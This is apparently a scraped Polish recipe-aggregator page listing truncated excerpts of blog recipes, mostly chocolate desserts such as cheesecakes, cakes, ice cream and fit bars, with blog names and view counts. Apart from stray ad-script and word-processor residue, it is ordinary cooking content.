cytrynowy) -5 łyżeczek żelatyny + ¼ szkl. wody na górną warstwę: 150g jogurtu + łyżka ksylitolu + 1 łyżeczka żelatyny i odrobina wody Ciasteczka serki -przepis TUTAJ    Dodatkowo -2 kostki gorzkiej czekolady (na noski) -skórka cytryny (na ogonki) CIASTECZKA SERKI Ciasto wykonać z podanego przepisu i wycinać „kopnięte” kwadraty oraz w nich mniejsze i większe kółka imitując żółty ser (duże kółka upiec(...)rozrobić żelatynę i wymieszać całość. Polać sernik tworząc białą górną warstwę. Gotowy sernik pociąć w trójkąty i każdy z nich ułożyć na ciastku. Nacinając boki umieścić uszka, z gorzkiej czekolady wykonać noski a ze skórki cytrynowej zakręcone ogonki. Oczy kupiłyśmy ale można również wykonać je z czekolady

Candy Pandas
Tort czekoladowy. 131

Ciasto przełożyć do tortownicy wyłożonej papierem do pieczenia. Piec w temperaturze 160 stopni około 30 minut. Składniki masę czekoladową : 750 ml śmietanki 30 % 250 g. serka mascarpone 150 g. czekolady mlecznej 5 łyżek mleka 2 płaskie łyżki cukru pudru 1 łyżka kakao Czekoladę połamać na kawałki i roztopić w rondelku dodając mleko, cały czas mieszać. Odstawić do przestudzenia, co jakiś(...)czas przemieszać. Śmietanę ubić na sztywno, dodając cukier puder, dodać mascarpone i zmiksować. Następnie powoli wlewać przestudzoną czekoladę cały czas miksując, na koniec wsypać kakao, zmiksować. Wystudzony biszkopt przekroić na 3 blaty. Przełożyć masą czekoladową. Górę i boki tortu również wysmarować masą. Udekorować według uznania. Wstawić na kilka godzin do lodówki

Agusiowe smakołyki
Niebiańsko delikatny sernik z białą czekoladą i malinami 192

imprezy, spotkania w gronie bliskich przyjaciół, znajomych czy rodziny. Sernik który dzisiaj prezentuję to biały, niebiańsko-lekki puszek o niezwykle delikatnej strukturze. Umiarkowanie słodki, z posmakiem wanilii i białej czekolady. Świeże maliny idealnie dopełniły całość, przełamując słodycz i nadając sernikowi owocowej kwaskowatości w różowym kolorze. Dla mnie ideał. Składniki:  ... czyli Twoja lista zakupów. Nie zwlekaj i już teraz wybierz(...)lodówki na min. 30 minut. KROK V : Czas na masę serową. Białko jajka ubijamy na sztywną pianę, stopniowo wsypując cukier. Piekarnik rozgrzewamy do 180 stopni C. KROK VI : Białą czekoladę łamiemy na kawałki i rozpuszczamy w mleku. Ja wstawiłam na kilkanaście sekund do mikrofalówki i dokładnie wymieszałam trzepaczką. KROK VII:  W oddzielnej misce miksujemy ze sobą :  ser twarogowy

Kuchnia Ellie
Czekoladowe ciasto z cukinią 163

mąką pszenna typ 500 400 g kakao pół szklanki soda oczyszczona 1 łyżeczka proszek do pieczenia pół łyżeczki olej niepełna szklanka jaja 3 szt śmietana 18% 150 g Polewa: czekolada mleczna 200 g  mleko 4 łyżki   Wykonanie: Jaja ubijamy z cukrem na puch.Mąkę odmierzamy ,dodajemy kakao,proszek do pieczenia sodę i przesiewamy przez sito nad ubitymi jajami.Dodajemy(...)również mieszamy łopatka. Formę tortową 24 cm smarujemy masłem i obsypujemy bułką tartą,przekładamy masę. Wstawiamy do nagrzanego pieca.Pieczemy 170 stopniach 55 minut.Po wyjęciu ciasta i ostudzeniu polewamy rozpuszczoną czekoladą.Schładzamy w lodówce by czekolada zastygła i podajemy.Ten kto pierwszy raz je i następny i jeszcze następny nie rozpozna że to z cukinią

Różowa kuchnia
Wegańskie czekoladowo-kawowe ciasto z owocami, Puck - Hel 252

lepiej kroiło i smakowało. Warstwy: - biszkopt - słodko-kwaśny dżem (u mnie konfitura śliwkowa, mogą być też dżemy np.: wiśniowy, porzeczkowy, pomarańczowy) - krem - biszkopt - kwaśny dżem - krem - polewa z gorzkiej czekolady (lub 1-2 łyżki oleju kokosowego + 1 łyżka kakao + 1-2 łyżki mleka roślinnego + odrobina cukru, energicznie wymieszać, od razu polać ciasto) - owoce jagodowe do dekoracji.     Składniki(...)jeszcze na 15 minut. Składniki na krem (udoskonalony budyń jaglany): 1/3 szklanki kaszy jaglanej 2 i 1/3 szklanki mleka roślinnego 15-25 daktyli 1 szczypta soli 1 tabliczka gorzkiej czekolady 1 opakowanie kremu/pasty kokosowej 1 filiżanka świeżo zaparzonej i odcedzonej kawy Do garnka wlej mleko, dodaj kaszę, daktyle i sól. Gotuj, aż kasza będzie miękka (ok. 15-20 minut

Qlinarnie i Qlinarnie
Babeczki z malinami i białą czekoladą 117

łyżeczki proszku do pieczenia 120 g cukru 1 duże jajko 2 łyżki soku z cytryny 250 ml mleka 4 łyżki oleju 200 g malin 100 g białej czekolady Wszystkie składniki powinny być w temperaturze pokojowej.  Czekoladę posiekać.  Mąkę i proszek przesiać. W misce wymieszać, za pomocą rózgi kuchennej, wszystkie mokre składniki: jajko, mleko, olej(...)cytryny. Dodać mąkę i cukier, wymieszać tylko do połączenia się składników. Na koniec dodać czekoladę i maliny, delikatnie wmieszać.  Formę o mufinków wyłożyć papierowymi foremkami, przełożyć do nich ciasto, do ¾ wysokości.  Pieczemy w 190 stopniach przez 25 minut, do tzw. suchego patyczka. Wystudzić na kratce. Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions

kulinarnyswiatdomi
UCIERANE CIASTO Z JEŻYNAMI I CZEKOLADĄ 128

UCIERANE CIASTO Z JEŻYNAMI I CZEKOLADĄ SKŁADNIKI: - 350 g mąki pszennej - kostka masła - 120 ml mleka - 1 łyżeczka proszku do pieczenia - 1 łyżeczka płaska sody oczyszczonej - 170 g cukru pudru - 2 jajka + 1 białko - cukier waniliowy - 1 łyżka mąki ziemniaczanej lub proszku budyniowego - 250 g jeżyn + łyżka mąki do obtoczenia - 1/2 czekolady gorzkiej  Masło ucieraj z cukrem pudrem(...)Mąkę przesiej przez sitko. Wymieszaj z proszkiem do pieczenia i sodą. Do masy z masłem dodaj mąkę, i ucieraj, dodaj mleko. Ubij pianę z białek i dodaj do masy. Czekoladę zetrzyj na tarce o dużych oczkach i dodaj do masy. Jeżyny umyj i bardzo dobrze osusz. Gdyby były zbyt wilgotne obtocz w łyżce mąki ziemniaczanej. Ciasto wylej na blaszkę

SMYKWKUCHNI
Deser z chia, truskawkami i mlekiem kokosowym 438

warto przypomnieć sobie sprawdzone pomysły na deser z ich wykorzystaniem. Postanowiłem przygotować deser z nasionami chia na bazie mleka kokosowego dodając do niego właśnie truskawki. Jako dekoracji użyłem gorzką czekoladę, która ostatnio coraz częściej u mnie gości. Serdecznie polecam i życzę smacznego! Składniki 400 ml mleczka kokosowego 400 g truskawek 3 łyżki nasion chia 1 łyżka miodu 1 łyżka cukru(...)kokosowego 4 kostki gorzkiej czekolady (70%) Przygotowanie Nasiona chia łączymy z mlekiem kokosowym i miodem. Całość dokładnie mieszamy i odstawiamy do lodówki na minimum 3 godziny, a najlepiej na całą noc. Do szklanek lub pucharków układamy plasterki truskawek, a następnie resztę wypełniamy naszą masą z nasion chia i mleka kokosowego. Na górę wylewamy resztę truskawek zblendowaną z łyżką cukru kokosowego

Programista w kuchni
Zebra. 85

pełne) 2,5 szklanki mąki 1 szklanka oleju 1 szklanka wody gazowanej 2 łyżeczki proszku do pieczenia 3 łyżki kakao 3 łyżki mąki ziemniaczanej Dodatkowo: 1 tabliczka białej czekolady 5 łyżek mleka Wykonanie: Jajka ubić z cukrem na puszystą masę, wsypać mąkę z proszkiem, miksując wlać olej i wodę. Ciasto podzielić na 2 części, do jednej dodać 3 łyżki mąki(...)wysmarować margaryną i posypać bułką tartą. Wylewać łyżką lub chochelką na przemian jasne i ciemne ciasto. Piec 1 godzinę w temperaturze 180 stopni. Wystudzone ciasto polałam polewą z białej czekolady. Czekoladę połamałam na kawałki i rozpuściłam w rondelku, dodając 5 łyżek mleka. Cały czas mieszałam

Agusiowe smakołyki
cake pops 111

takie idealne - ale są nasze ;) Homemade  Składniki: 1 spód biszkoptowy lub pozostałości ciasta ;) ok 200 g  60 g mascarpone 40 g masła czekoladowego/orzechowego  ok 200 g czekolady do obtoczenia kolorowe posypki Przygotowanie: mascarpone wymieszać dokładnie z masłem czekoladowym/orzechowym dodać pokruszone ciasto i dokładnie wymieszać utworzyć dużą kulę, którą należy włożyć na ok 15 min do zamrażalnika(...)całą noc do lodówki wyjąć ciasto i odmierzać jednakowe porcje ciasta - tworząc małe kulki  czekoladę roztopić w kąpieli wodnej każdą kulkę obtoczyć w czekoladzie i nabić na patyczek - u nas wykałaczka  następnie udekorować posypką lub pozostawić tylko czekoladowe  odstawić na deskę (wyłożyłam papierem) patyczkiem do góry i ponownie włożyć do lodówki przechowywać w lodówce do momentu wystawienia

Gotowanie z pasją
Kopiec kreta z bananami i truskawkami 151

łyżeczki proszku do pieczenia 1 szklanka mleka 3,2% 1 szklanka oleju Krem: 500 ml śmietany 30% 250 g serka mascarpone 1,5 łyżki cukru pudru 50 g mlecznej czekolady 2 banany 1 szklanka truskawek Ciasto: Jajka ubijamy z cukrem na puszysty, jasny  krem. Mąkę, kakao, proszek do pieczenia oraz sodę przesiewamy przez sitko. Naprzemiennie do jajek wsypujemy mąkę(...)funkcją termo obiegu). Po wystudzeniu z ciasta ścinamy górę oraz wydrążamy połowę miąższu. Spód oraz brzegi ciasta zostawiamy nieuszkodzone. Krem: Śmietankę ubijamy na sztywno z dodatkiem cukru pudru. Czekoladę kroimy nożem na wiórki. Możemy ją też zetrzeć na tarce. Do śmietanki dodajemy serek mascarpone i czekoladę. Miksujemy na wolnych obrotach tylko do połączenia się składników. Spód ciasta smarujemy kilkoma łyżkami

VioletoweKucharzenie
Przepis #53 Deser z kubeczka - FIT Snikers 116

przepis na "deser z kubeczka" cieszył się dużą popularnością, dlatego przygotowałam kolejną jego odsłonę. Był deser o smaku Bounty a teraz pora na Snikersa - połączenie orzechów oraz czekolady . Jedna porcja to: 379,1 kcal w tym W:46,1; B: 19,3 g: T:12,4 g. Składniki - 20 g namoczonych daktyli - 1 łyżeczka kakao - 1 opakowanie jogurtu(...)greckiego 150 g - 1 łyżka masła orzechowego 100% - 1 łyżeczka cukru lub słodzika - 2 kostki gorzkiej czekolady Opcjonalnie do dekoracji - kilka orzechów nerkowca Wykonanie Daktyle odsączamy. Dodajemy do nich kakao i dokładnie blendujemy. Przekładamy masę do kubeczka. Jogurt grecki blendujemy z masłem orzechowym oraz cukrem. Tak powstałą masę przelewamy na masę daktylową. Czekoladę rozpuszczamy w rondelku i dekorujemy nią

Health-Fit-Life
Orzeźwiające ciasto porzeczkowo-agrestowe 215

Powstałą masę przelać do miseczki i odstawić do wystudzenia.Wystudzoną frużelinę rozprowadzić na masie z czarnej porzeczki.Na wierzch rozsypać pokruszone ciasto,które zostało po ścięciu wierzchu. Krem z białej czekolady 200 ml śmietanki 30% 150 g białej czekolady 20 g masła Śmietankę przelać do garnka i doprowadzić do wrzenia.Zestawić z ognia, wrzucić połamaną czekoladę i masło.Odstawić

Anielskie wypieki
Kawa mrożona 2381

Kawa mrożona- hit tego lata! Moja wersja jest wersją baardzo wypasioną, słodką i kaloryczną ;). Czekolada, mleko, kawa, lody i bita śmietana... wszystko to w jednej dużej szklance! Spraw sobie chwilę przyjemności, odmień swoją tradycyjną kawę w takie cudeńko, które nie tylko wygląda, ale i smakuje ;). Modyfikuj do woli! Lody śmietankowe możesz zastąpić dowolnymi innymi, np. czekoladowymi lub waniliowymi. Polewę czekoladową(...)zamień na karmelową, a bitą śmietanę posyp kakao albo płatkami migdałów! Obłęd! Składniki: (na 2 porcje) polewa czekoladowa lub kilka kostek mlecznej czekolady 300 ml zimnego mleka 150 ml zaparzonej mocnej gorącej kawy  2 gałki lodów śmietankowych (polecam domowej roboty ) bita śmietana cynamon do oprószenia Przygotowanie: Przygotować dwie wysokie szklanki o pojemności 400 ml. Ścianki szklanek od środka polać

Nastoletnie Wypiekanie
Pszczółka - sernik na zimno z nasionami chia 168

łyżki żelatyny ½ szklanki wody   Galaretka brzoskwiniowa: 1 puszka brzoskwiń w syropie 2 galaretki brzoskwiniowe 1 1/2 szklanka wody Pszczółki: kilka nektarynek kilka płatków migdałów 1/5 tabliczki gorzkiej czekolady 1 łyżka mleka    Biszkopt: Białka oddzielamy od żółtek i ubijamy na sztywną pianę. Cały czas miksując stopniowo dodajemy cukier, a następnie żółtka. Mąkę, proszek i kakao przesiewamy(...)Wylewamy na wierzch sernika i wstawiamy do lodówki do stężenia.    Pszczółki: Nektarynki należy sparzyć wrzątkiem i zdjąć skórkę, następnie przepołowić, wyjąć pestkę. Połówki owoców ułożyć na serniku. Czekoladę rozpuścić w mleku w kąpieli wodnej, wlać do małego woreczka strunowego, zrobić w nim dziurkę i na każdej połówce nektarynki narysować paski. Przytwierdzić płatki migdałów jako skrzydełka a z pozostałej

Jadło i czytadło
Lody bananowe z masłem orzechowym i czekoladą 142

Składniki (na 1 porcję) - banan (ok. 115 g), - łyżka masła orzechowego (ok. 20 g), - 2 kostki gorzkiej czekolady (ok. 10 g). Sposób przygotowania 1. Banana obieramy ze skóry, zawijamy w folię aluminiową i wkładamy do zamrażalnika na 3-4 h. 2. Banana blendujemy z dodatkiem masła orzechowego. 3. Do lodów dodajemy tartą na tarce o grubych oczkach czekoladę. 4. Lody(...)możemy jeszcze wstawić na kilkanaście minut do zamrażalnika. Lody bananowe z masłem orzechowym i czekoladą są bogate w: - potas (pochodzący z banana), który reguluje przewodzenie bodźców nerwowych. Wartość odżywcza jednej porcji: Porcja waży: ok. 145 g Energia: 276,2 kcal Białko: 7,0 g Tłuszcze: 12,8 g Węglowodany: 36,7 g Błonnik pokarmowy

Zdrowe odżywianie w pięciu smakach
Crunchy bez cukru białego, owoce leśne/czekoladowo-orzechowe - Tilo's 146

substancja spulchniająca: wodorowęglan sodowy, antyoksydant (ekstrakt tokoferolu). Crunchy czekoladowo-orzechowe: 47% pełnoziarniste płatki owsiane, błonnik (polidekstroza, dekstryna, inulina), chrupki otrębowe (otręby pszenne, mąka pszeniczna, mąka ryżowa, otręby owsiane), 6% czekolada (maltitol, miazga kakaowa, inulina, masło kakaowe, emulgator: lecytyna sojowa), otrębowe pałeczki (otręby pszeniczne, daktyle, rodzynki), tłuszcz roślinny, substancje słodzące (izomalt, glikozydy stewiolowe), 4% orzechy laskowe, otręby owsiane, 2,5% mąka(...)żółwia xD rozumie ten kto go miał :P). Dodatkowo w jednej wersji widać liofilizowane owoce, które na szczęście nie są gumowe a w drugiej orzechy laskowe oraz kwadraciki czekolady.  Całość smakuje bardzo zbożowo z dominującą „owsianością”, która nie jest przytłumiona przez niepotrzebny cukier, ponieważ słodycz jest tutaj delikatna. Kwaśny dodatek owoców dodaje płatkom odświeżenia a orzechy w drugiej wersji

Candy Pandas
Fasolowe ciasto dyniowe z odżywką białkową na Halloween (bez glutenu, cukru białego) 153

szczypta soli Krem dyniowy -ok 200g puree z pieczonej dyni (u nas mieszanka piżmowej i hokkaido) -ksylitol (ok łyżka do smaku) Dodatkowo -masło orzechowe (najlepsze domowe!) -kilka kostek gorzkiej czekolady (do dekoracji) CIASTO FASOLOWO-DYNIOWE Ksylitol, kaszkę, odżywkę, cynamon, proszek do pieczenia wymieszać. Fasolę, żółtka, sok z pomarańczy, skórkę z pomarańczy, puree z dyni zmiksować blenderem na gładko. Dodać suche(...)ksylitolem i ułożyć na cieście pokrytym masłem orzechowym. Ważne aby puree było zwarte dlatego najlepsze jest z pieczonej dyni a gdy jest nieco za suche można dodać oleju kokosowego. Czekoladą na folii namalować oczy oraz buzię dyni i włożyć do zamrażarki. Kilka kostek czekolady rozpuścić nad parą wodną, przelać do foliowego woreczka, ciąć odrobinę jego róg i namalować na górze

Candy Pandas
Konopne tarty pandy z kokosową galaretką (bez glutenu, cukru białego, laktozy, wegańskie) 117

mąki owsianej Galaretki kokosowe (2szt) (jedna foremka o pojemności 200ml) -200ml mleka kokosowego -200ml napoju migdałowego -ksylitol -2 płaskie łyżeczki agaru Dodatkowo -kilka kostek gorzkiej czekolady -pasta z orzechów włoski z nasionami konopi Amandin TARTY KONOPNE Nasiona konopi zmielić w młynku do kawy na mokry piasek, wymieszać z pozostałymi mąkami i lnem. Do suchych składników dodać masło orzechowe(...)agarowa galaretka bez problemu „wyślizgnie” się z takiej foremki. Na kartce papieru narysować oczy i nosek oraz uszy (uszom dorysować jeszcze spiczastą końcówkę aby nią wbić się w galaretkę). Czekoladę rozpuścić nad parą wodną, wlać ją do foliowego strunowego woreczka i odciąć minimalnie jego róg. Na foliowej koszulce narysować kształty oraz je wypełnić czekoladą. Wstawić te elementy na kilka minut

Candy Pandas
Orkiszowo-dyniowe pieczone donuts (bez laktozy, wegańskie) 130

dziurką ale tym razem chciałyśmy je nieco ulepszyć i dodać do nich puree z dyni, które nada im wilgoci i miękkości. Znów wykorzystałyśmy lukier z ksylitolu i gorzką czekoladę oraz ekspandowaną jaglankę od Soligrano w formie posypki. Takie ziarna świetnie sprawdzają się nie tylko jako propozycja śniadaniowa ale też pięknie udekorują Wasze świąteczne wypieki i nie dostarczą dodatkowych zbędnych kalorii(...)orkiszowej pełnoziarnistej -7g suszonych drożdży -230ml napoju roślinnego -50g oleju kokosowego -50g cukru kokosowego (lub trzcinowego) -200g gęstego puree z dyni Dodatkowo Polewy: gorzka czekolada/ ksylitol zmielony na puder (w młynku do kawy) + sok z cytryny + kilka kropel soku z buraka Posypki: ekspandowana kasza jaglanaSoligrano / mak niebieski Napój, olej  i cukier roztopić razem. Dodać

Candy Pandas
Mieszanki musli: Fit / Cookiem&Cream - mojemusli.pl 135

subst. spulchniające, sól, lecytyna sojowa, aromat), muszelki czekoladowe (pełnoziarnista mąka pszenna, mąka graham, kaszka kukurydziana, cukier, glukoza, kakao, olej słonecznikowy, mleko w proszku, lecytyna sojowa, aromaty, cynamon), biała czekolada (cukier, mleko w proszku, tłuszcz kakaowy, lecytyna sojowa, wanilia), chrupki proteinowe (izobat białka serwatki, mąka ryżowa, lecytyna). Masa netto: Fit: 575g/ C&C: 600g Wartości odżywcze: Fit (z owocami): 100g(...)muszelki oraz pokruszone ciasteczka, które chyba tylko z jedną nazwą nam się kojarzą :P Kolejne są zlepki czekoladowej granoli a co się ukrywa pomiędzy takimi dużymi elementami? Kropelki białej czekolady <3 i proteinowe chrupki! Takie zagranie ze strony producenta sprawia, że zapominamy o cukrze, glutenie itd. a w głowie mamy BIAŁKO = SPORT xD Podoba nam się to, że wszystko

Candy Pandas
Masło z orzechów włoskich/nerkowców/migdałów - Nutura 169

miałyśmy piekarnika to zrobiłyśmy mrożone batony z tym masłem. Chyba nie musimy pisać jakie to było genialne! Wersja z migdałów kusiła nas aby połączyć ją z czekoladą. Cóż, ten duet również sprawdził się rewelacyjnie :D Bez wątpienia są to świetnej jakości masła, które warto spróbować.  Spaghetti ze szpinakowo-orzechowym pesto z masłem z orzechów włoskich Nutura ( przepis ) Placuszki migdałowe(...)malinami i masłem z nerkowców Nutura Domowa czekolada z masłem migdałowym Nutura ( przepis ) Chrupiące batony z masłem z nerkowców Nutura, popcornem i konfiturą morelową, polane domową czekoladą (przepis wkrótce na instagramie)  Ocena: 6 pand

Candy Pandas
Tarta truskawkowa z panna cottą 186

kakao ciemnego 1 łyżka śmietany 18% kwaśnej 60-100g cukru pudru 100g zimnego masła 1 żółtko 350 ml śmietanki 36% 80ml mleka 50g cukru 170g białej czekolady 1 laska wanilii 4 łyżeczki żelatyny 500g truskawek (już obranych) dodatkowo: plus 250 g (także obranych, ewentualnie mrożonych) 2-3 łyżki cukru (w zależności od słodkości truskawek) 3 łyżeczki żelatyny 1 łyżka(...)porcję żelatyny, zalać 2-3 łyżkami zimnej wody i odstawić aż napęcznieje. W drugim garnuszku wymieszać mleko, kremówkę, wanilię i cukier. Wymieszać i zagotować. Zdjąć z palnika, dodać połamaną czekoladę i mieszać, aż czekolada się rozpuści. Napęczniałą żelatynę lekko podgrzać (nie gotować!) aż się rozpuści i dodać do masy czekoladowej po czym dokładnie wymieszać. Ostudzić i włożyć do lodówki, żeby

Pociąg Do Kuchni
Sernik czekoladowy na orzechowym spodzie 162

kokosowego 1/2 szklanki posiekanych orzechów włoskich 1/4 szklanki wody 2 łyżki brązowego cukru Masa serowa 3 jajka 2 żółtka 400 g serka Philadelphia 250 g serka mascarpone 200 g czekolady 50% 1/2 szklanki cukru pudru 1/4 szklanki mleka 100 ml śmietany 30% (adsbygoogle = window.adsbygoogle || []).push({}); Orzechy siekamy drobno i zagniatamy razem z resztą składników podanych na spód, wykładamy dno okrągłej(...)tortownicy i pieczemy 15 minut w 180 stopniach. W kąpieli wodnej rozpuszczamy czekoladę. Następnie ucieramy serek philadelphia z mascarpone i cukrem pudrem, powoli dodajemy mleko, śmietanę, jajka i żółtka. Wszystko razem mieszamy za pomocą miksera na małych obrotach. Następnie dodajemy lekko przestudzoną i rozpuszczoną czekoladę, mieszając łyżką. Wylewamy masę na spód i pieczemy 45 minut w 180 stopniach. Sernik jest

Delusional Trine
Jagodowy sernik na zimno z czekoladą 407

umierać. Skoro już znamy się troszkę to przejdźmy do meritum, znaczy do sedna. Czyli do sernika konkretnie. Bo dzisiaj mamy dla Was rewelacyjny sernik na zimno, z warstwą czekolady. Co prawda my z czekoladą przesadziliśmy i zdominowała ona, niestety, smak sernika, ale w przepisie już skorygowaliśmy jej ilość i będzie idealnie. Sernik jest naprawdę świetny. Spód z kruchych herbatników(...)warstwa twarogu z jagodami, na nim czekolada zmiksowana z jagodami, na tym wszystkim jagody i całość zalana galaretką z owoców leśnych. Przyznacie, że mocno jagodowa sprawa, nie? ;) »»» CZYTAJ DALEJ

Marder&Marder Manufacture
Przepis #49 Deser z kubeczka - FIT Bounty 108

Witajcie, dzisiaj propozycja szybkiego deseru z kubeczka. Jak wiecie uwielbiam wszystko co kokosowe dlatego deser zawiera fantastyczne połączenie czekolady i kokosa. Czy jest coś smaczniejszego? :) Przechowywany w lodówce przed podaniem idealnie sprawdzi się jako chłodny posiłek w upalne letnie dni. Jedna porcja zawiera: 346, 2 kcal w tym: W: 41,8 g, B: 16,6 g, T: 12 g. Składniki(...)jedna porcja) - 1 opakowanie jogurtu greckiego 150 g - 20 g daktyli wcześniej namoczonych - 1 łyżeczka kakao - 10 g wiórek kokosowych - 2 kostki gorzkiej czekolady - 1 łyżeczka słodzika lub cukru (opcjonalnie) Wykonanie Odsączone daktyle blendujemy z kakao. Przekładamy do kubeczka. Jogurt grecki łączmy z wiórkami kokosowymi  ( około 1 łyżeczki wiórków zostawiamy do posypania na wierzch) oraz ewentualnym słodzikiem. Tak przygotowaną

Health-Fit-Life
Lody bananowe z czekoladą bez maszynki 96

łatwiej można było je porcjować. Polecam również lody bananowe, które znajdziecie w zakładce DESERY Składniki 400 g śmietany kremówki 36% 2 banany cukier puder do smaku 50 g czekolady deserowej Śmietanę ubić z cukrem pudrem na sztywno. Banany obrać i ugnieść widelcem, dodać do śmietany i zmiksować. Czekoladę rozpuścić w kąpieli wodnej i wlać do śmietany. Wszystko dokładnie zmiksować. Wlać(...)lody do pojemnika i zamrozić. Przed podaniem najlepiej wyjąć lody wcześniej. lody bananowe z czekoladą bez maszynki

O kuchni z uczuciem
Przepis #14 Czekoladowy budyń jaglany 102

ostatnio ulubionych deserów właśnie z płatków jaglanych - budyń jaglany. Jest bardzo prosty w przygotowaniu a smakiem i zapachem przypomina ( a nawet jest lepszy) tradycyjny budyń. Dodałam do niego gorzką czekoladę i tak  powstał czekoladowy budyń. Polałam  sosem z truskawek. Smakuje jak ten z dzieciństwa:) Składniki ( 1 porcja): - 40 g płatków jaglanych - kostka gorzkiej czekolady ( u mnie 90 % kakao(...)łyżeczka miodu Płatki jaglane zalałam około 3/4 szklanki wody i zagotowałam. Kiedy masa zrobiła się bardzo gęsta dodałam czekoladę, całość wymieszałam aż budyń nabrał czekoladowego koloru. Następnie dodałam łyżeczkę miodu i całość zblendowałam na gładką masę.  Sos truskawkowy przygotowałam na bazie mrożonych truskawek. Wyjęłam je troszkę wcześniej z zamrażalnika ( można dodać odrobinę gorącej wody). Dodałam do nich odrobinę miodu

Health-Fit-Life
Przepis #34 Czekoladowe fit batoniki 167

zabrać na letnie wycieczki:) Jeden batonik to: 210 kcal, B: 5,2 g, W:27,8 g, T: 7,9 g. Składniki: - 120 gram namoczonych daktyli - 40 gram gorzkiej czekolady - 1 łyżka oleju kokosowego - 90 gram płatków owsianych - 30 gram preparowanej gryki Polewa - 2 łyżki masła orzechowego 100% - 1 łyżeczka oleju kokosowego Wykonanie  W rondelku rozpuszczamy łyżkę oleju kokosowego(...)oraz gorzką czekoladę. W międzyczasie do miski wrzucamy odsączone daktyle, do których wlewamy rozpuszczoną masę oleju i czekolady. Wsypujemy płatki owsiane oraz połowę preparowanej gryki ( drugą część zostawiamy na wierzch). Całość blendujemy. Tak przygotowaną masę wykładamy do keksówki. Na wierzch układamy resztę gryki. Pieczemy przez 20 minut w piekarniku nagrzanym do 170 stopni. Po tym czasie wyciągamy ciasto i zostawiamy

Health-Fit-Life
Przepis #39 Lekki biszkopt kokosowy z truskawkami i kokosową bitą śmietaną 131

słodzika - ja użyłam cukru kokosowego - puszka mleczka kokosowego (należy pamiętać o odwróceniu puszki na noc i przechowywaniu jej w lodówce) - 1,5 łyżki dowolnego słodzika - truskawki - 40 g gorzkiej czekolady - 1 łyżka oleju kokosowego Wykonanie Białka oddzielamy od żółtek. Białka ubijamy na sztywną pianę. Następnie dodajemy powoli cukier oraz żółtka. Całość dokładnie blendujemy. Na koniec wsypujemy mąkę z proszkiem(...)słodzikiem na bitą śmietanę. Następnie rozsmarowujemy ją na wystudzonym biszkopcie. Truskawki przekrawamy na połówki i układamy na śmietanie. Na koniec przygotowujemy polewę. W rondelku roztapiamy olej kokosowy oraz czekoladę. Tak przygotowaną polewą polewamy ciasto. Odstawiamy do lodówki na kilka godzin. Bita śmietana i truskawki oraz czekolada to idealne połączenie. Bitą śmietanę z mleczka kokosowego można śmiało zastąpić jogurtem greckim wymieszanym

Health-Fit-Life
Przepis #40 Żytnie ciasteczka w czkoladzie 200

Witajcie, dzisiaj przed Wami żytnie ciasteczka z powidłami śliwkowymi polane czekoladą. Idealne do po południowej herbaty lub kawy. Są lekkie i aromatyczne dzięki mące żytniej. Do tego bez białego cukru i utwardzanych tłuszczy:) Składniki: - 250 gram mąki żytniej - 2 jajka - 20 gram cukru kokosowego - 40 gram oleju kokosowego - 1 łyżka jogurtu - 0,5 łyżeczki proszku do pieczenia Nadzienie - powidła śliwkowe(...)Polewa - 40 gram gorzkiej czekolady - 1 łyżka oleju kokosowego Wykonanie Na stolnicę wsypujemy mąkę. Robimy wgłębienie, w które wbijamy jajka, dodajemy cukier, olej jogurt oraz proszek do pieczenia. Całość dokładnie zagniatamy. Tak powstałe ciasto dzielimy na mniejsze części i rozwałkowujemy. Następnie wycinamy dowolne kształty. W środek ciastka nakładamy powidła, po czym zlepiamy brzegi. Układamy na blasze i pieczemy w piekarniku

Health-Fit-Life
Przepis #45 Domowe ptasie mleczko 1031

domu. Tym razem padło na ptasie mleczko (tego gotowego nie jadłam chyba ładnych kilka lat!). Postanowiłam przygotować delikatną o lekko wyczuwalnym cytrynowym smaku piankę w polewie z gorzkiej czekolady. Spróbujcie sami! Składniki: - 4 białka - 4 łyżeczki cukru waniliowego - 20 g słodzika lub cukru pudru - sok z 1/2 połówki cytryny - 9 g żelatyny - 50 ml mleka roślinnego lub zwykłego Polewa(...)łyżka oleju kokosowego - 50 g gorzkiej czekolady Wykonanie Żelatynę rozpuszczamy w mleku i pozostawiamy aż napęcznieje czyli na około 5 minut. Następnie ubijamy białka na sztywną pianę powoli dodając cukier waniliowy oraz słodzik. Wlewamy także sok z cytryny. Kolejno napęczniałą żelatynę podgrzewamy do momentu aż się rozpuści. Powoli i bardzo delikatnie wlewamy ją do powstałej masy z białek - ciągle mieszamy

Health-Fit-Life
Łatwe czekoladowe ciasto z porzeczkami, wegańskie wiadomo! 216

minut pieczenia. Cisto jest lekko wilgotne, nie za słodkie, idealne do zabrania w plener. Składniki: 650 g mąki pszennej 2 średnie banany 200 g cukru 200 g gorzkiej czekolady 300-400 g porzeczek 200 ml oleju roślinnego 250 ml mleka roślinnego czubata łyżeczka proszku do pieczenia czubata łyżeczka sody oczyszczonej 3 łyżki kakao lub karobu Przygotowanie: Do jednej dużej miski(...)przesiej mąkę, kakao, proszek do pieczenia i sodę. W drugiej misce zblenduj banany, olej, mleko i cukier. Posiekaj czekoladę. Wymieszaj składniki z obu misek do połączenia się składników, nie dłużej. Podaj owoce i czekoladę. Połącz. Przełóż na blachę wyłożoną papierem do pieczenia. Piecz na środkowej półce piekarnika w temp. 180 C przez 50-60 minut. Prościzna, prawda? Smacznego!   Artykuł

greenscarf
Pyszne kruche ciasteczka z żurawiną, gorzką czekoladą, słonecznikiem i płatkami owsianymi 1298

piątku, żeby jak najszybciej zleciał i zaczął się weekend :-) Składniki: 1 szklanka płatków owsianych 250 g mąki pszennej typ 450 80 g masła 100 g miodu 100 g gorzkiej czekolady 2 garście słonecznika 2 garście żurawiny suszonej 1,5 łyżeczki cynamonu 3 jajka 1 łyżeczka proszku do pieczenia 1. Masło roztapiamy razem z miodem. Odstawiamy do przestudzenia. Mąkę, proszek(...)cynamon przesiewamy przez sitko do dużej miski. Żurawinę siekamy, czekoladę rozdrabniamy na mniejsze kawałki. 2. Do miski, do której daliśmy mąkę przesianą z proszkiem do pieczenia i cynamonem dodajemy płatki owsiane, jajka i roztopione masło z miodem. Mieszamy, dodajemy słonecznik, żurawinę i czekoladę. Ponownie mieszamy. 3. Piekarnik nagrzewamy do 180 stopni. Blaszkę wykładamy papierem do pieczenia. Łyżką nabieramy porcje ciasta

kruche babeczki
Pianka porzeczkowo czekoladowa 271

